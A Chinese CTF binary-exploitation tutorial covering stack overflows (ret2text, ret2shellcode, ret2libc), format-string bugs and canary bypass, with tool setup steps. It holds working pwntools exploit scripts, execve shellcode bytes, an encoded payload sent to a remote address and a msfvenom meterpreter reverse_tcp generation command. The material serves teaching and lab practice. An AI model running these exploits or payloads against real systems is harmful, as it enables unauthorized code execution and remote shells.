0x01 環境搭建
some pwn tools:

ida遠程調試環境搭建。
鏡像:
ubuntu18起的一個docker 開啟遠程調試端口映射:
docker run --cap-add=SYS_PTRACE --security-opt seccomp:unconfined -it -p 23946:23946 ubuntu/17.04.amd64 /bin/bash

ida debug remote:

安裝Capstone(反編譯框架)
~$ git clone https://github.com/aquynh/capstone ~$ cd capstone ~$ make ~$ sudo make install
安裝Binutils(二進制工具集)
git clone https://github.com/Gallopsled/pwntools-binutils
sudo apt-get install software-properties-common sudo apt-add-repository ppa:pwntools/binutils sudo apt-get update sudo apt-get install binutils-arm-linux-gnu
第三方庫
在逆向和溢出程序交互時,用得最多的幾個第三方庫先裝好:
sudo pip install pwntools sudo pip install zio sudo pip install pwn
安裝gdb工具
在調試時有時候需要不同功能,在gdb下需要安裝兩個工具pwndbg和peda,可惜這兩個不兼容
pwndbg在調試堆的數據結構時候很方便
peda在查找字符串等功能時方便
peda
git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit echo "DONE! debug your program with gdb and enjoy"
pwndbg
git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh
pwngdb
cd ~/
git clone https://github.com/scwuaptx/Pwngdb.git cp ~/Pwngdb/.gdbinit ~/
gef
#via the install script $ wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #manually $ wget -O ~/.gdbinit-gef.py -q https://github.com/hugsy/gef/raw/master/gef.py $ echo source ~/.gdbinit-gef.py >> ~/.gdbinit
ROPgadget
https://github.com/JonathanSalwan/ROPgadget
one_gadget
apt-get install ruby apt-get install gem sudo gem install one_gadget
LibcSearcher
git clone https://github.com/lieanu/libc.git cd libc git submodule update --init --recursive sudo python setup.py develop
0x02 ret2text棧溢出漏洞
關於函數調用棧幀基礎:

棧溢出:
checksec:

main函數:

發現secure函數:

gets函數 在gdb下斷
.text:080486AE call _gets .text:080486B3 mov dword ptr [esp], offset format ; "Maybe I will tell you next time !" .text:080486BA call _printf .text:080486BF mov eax, 0

gdb調試(gef):

計算v4也就是輸入buf離ebp的偏移:
EBP: 0xffffcf98 --> 0x0 ESP: 0xffffcf10 --> 0xffffcf2c --> 0xf7ffd000 --> 0x26f34 &v4 = 0xffffcf10 + 1ch = 0xffffcf2c offset = 0xffffcf2c - 0xffffcf98 = 108 + ebp = 112
112字節 也就是覆蓋內容長度0x6c+4字節的ebp 就到了返回地址 這里返回地址寫入system函數地址即可
關於計算偏移 可用:
https://github.com/desword/shellcode_tools
exp:
##!/usr/bin/env python from pwn import * a = process('./ret2text') test = 0x08048641 a.sendline('A'*(0x6c+4)+p32(test)) a.interactive()
getshell:

0x03 ret2shellcode棧溢出漏洞
原理:

example:

get漏洞函數 strncpy將v4復制到buf2
下斷調試

查看buf2所在地址 .bss段
.bss:0804A080 public buf2

gef查看段屬性 .bss為RWX:

EXP:
#!/usr/bin/env python from pwn import * sh = process('./ret2shellcode') shellcode = asm(shellcraft.sh()) buf2_addr = 0x804a080 sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr)) sh.interactive()
getshell:

example2:

mmap函數賦v4申請內存 read讀入0x20給v4 十進制32個字符串
輸入的字符串會被當指令


shellcode:
http://shell-storm.org/shellcode/files/shellcode-841.php
unsigned char shellcode[] = \ "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f" "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd" "\x80";
exp:
#!/usr/bin/env python from pwn import * sh = process('./ret2shellcode') shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" print sh.recv() sh.sendline(shellcode) sh.interactive()
系統中斷:
在32位的linux系統中,該中斷被用於呼叫系統調用程序system_call()
32位linux系統的內核一共提供了0~337號共計338種系統調用用以實現不同的功能。
http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
http://syscalls.kernelgrok.com/

關於系統中斷 匯編shellcode:
global _start
_start:
xor ecx,ecx
xor edx,edx
push edx
push "//sh" push "/bin" mov ebx,esp xor eax,eax mov al,0Bh int 80ha
msfvenom生成shellcode
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=IP地址 LPORT=端口 -e x86/shikata_ga_nai -b '\x00' -i 迭代次數 -f c
-b參數即可去掉類似/x00截斷字符
如base64編碼
python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o payload
exp:
#!/usr/bin/python #coding:utf-8 from pwn import * from base64 import * context.update(arch = 'i386', os = 'linux', timeout = 1) io = remote('172.17.0.2', 10001) shellcode = b64decode("PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA") print io.recv() io.send(shellcode) print io.recv() io.interactive()
getshell:

0x04 ret2libc棧溢出漏洞
關於動態鏈接 got/plt表這一塊 看着還是有點費勁哦~
動態鏈接:
動態鏈接 是指在程序裝載時通過 動態鏈接器 將程序所需的所有 動態鏈接庫(Dynamic linking library) 裝載至進程空間中( 程序按照模塊拆分成各個相對獨立的部分),
當程序運行時才將他們鏈接在一起形成一個完整程序的過程。
GOT/PLT
GOT
GOT(Global Offset Table)全局偏移表用於記錄在 ELF 文件中所用到的共享庫中符號的絕對(真實)地址。在程序剛開始運行時,GOT 表項是空的,當符號第一次被調用時會動態解析符號的絕對地址然后轉去執行,並將被解析符號的絕對地址記錄在 GOT 中,第二次調用同一符號時,由於 GOT 中已經記錄了其絕對地址,直接轉去執行即可(不用重新解析)。
PLT
PLT(Procedure Linkage Table)過程鏈接表的作用是將位置無關的符號轉移到絕對地址。當一個外部符號被調用時,PLT 去引用 GOT 中的其符號對應的絕對地址,然后轉入並執行。

ret2libc:

這里自己編譯錯了 應該gcc成32位 不開stack保護和PIE即可。
example:


查看system的plt地址

查看/bin/sh位置

下斷 溢出輸入

ida && ROPgatget也可以。


exp:
from pwn import * p = process('./ret2libc1') context.log_level = 'debug' system_addr = 0x08048460 binsh_addr = 0x8049720 p.recvuntil('RET2LIBC >_<\n') p.sendline('a'*112 + p32(system_addr) + 'aaaa' + p32(binsh_addr)) p.interactive()
getshell:

0x05 格式化字符串漏洞
printf函數參數入棧順序
編譯 gcc -m32 -fno-stack-protector -no-pie -o test fm.c

Vul:

利用格式化字符串漏洞:
- 泄露棧內存
- 獲取某個變量的值 (%s)
- 獲取某個變量對應地址的內存 (%p)
- 泄露任意地址內存
- 利用 GOT 表得到 libc 函數地址,進而獲取 libc,進而獲取其它 libc 函數地址 (addr%n$s)
- 盲打,dump 整個程序,獲取有用信息。
輸入
AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x

可以看到aaaa后的%08x向棧中讀取8字符的十六進制參數了
讀到aaaa:


內存寫入地址 使用printf 反引號命令執行

關於檢測:

0x06 canary棧溢出bypass
內存泄漏和爆破
example1:



可以看到有格式化字符串漏洞和棧溢出漏洞
第一個格式化漏洞拿來讀cannary 第二個read用來棧溢出 帶上正確canary值
gdb調試可以看到cannary的偏移 v6為ebp - 0xCh 所以這里cannary偏移為7

exp:
#coding=utf8 from pwn import * context.log_level = 'debug' context.terminal = ['gnome-terminal','-x','bash','-c'] context(arch='i386', os='linux') local = 1 elf = ELF('./bin') #標志位,0和1 if local: p = process('./bin') libc = elf.libc else: p = remote('',) libc = ELF('./') payload = '%7$x' p.sendline(payload) canary = int(p.recv(),16) print canary getflag = 0x0804863B payload = 'a'*100 + p32(canary) + 'a'*12 + p32(getflag) p.send(payload) p.interactive()
getshell:

爆破cannary
用了fork線程 canary不變 可以爆破
最后一位為\x00 32位的canary為4長度 只需要爆前面3位

exp:
#coding=utf8 from pwn import * context.log_level = 'debug' context.terminal = ['gnome-terminal','-x','bash','-c'] context(arch='i386', os='linux')#arch也可以是i386~看文件 local = 1 elf = ELF('./bin1') #標志位,0和1 if local: p = process('./bin1') libc = elf.libc else: p = remote('',) libc = ELF('./') p.recvuntil('welcome\n') canary = '\x00' for i in range(3): for i in range(256): p.send('a'*100 + canary + chr(i)) a = p.recvuntil("welcome\n") if "recv" in a: canary += chr(i) break getflag = 0x0804863B payload = 'a'*100 + canary + 'a'*12 + p32(getflag) p.sendline(payload) p.interactive()
getshell:

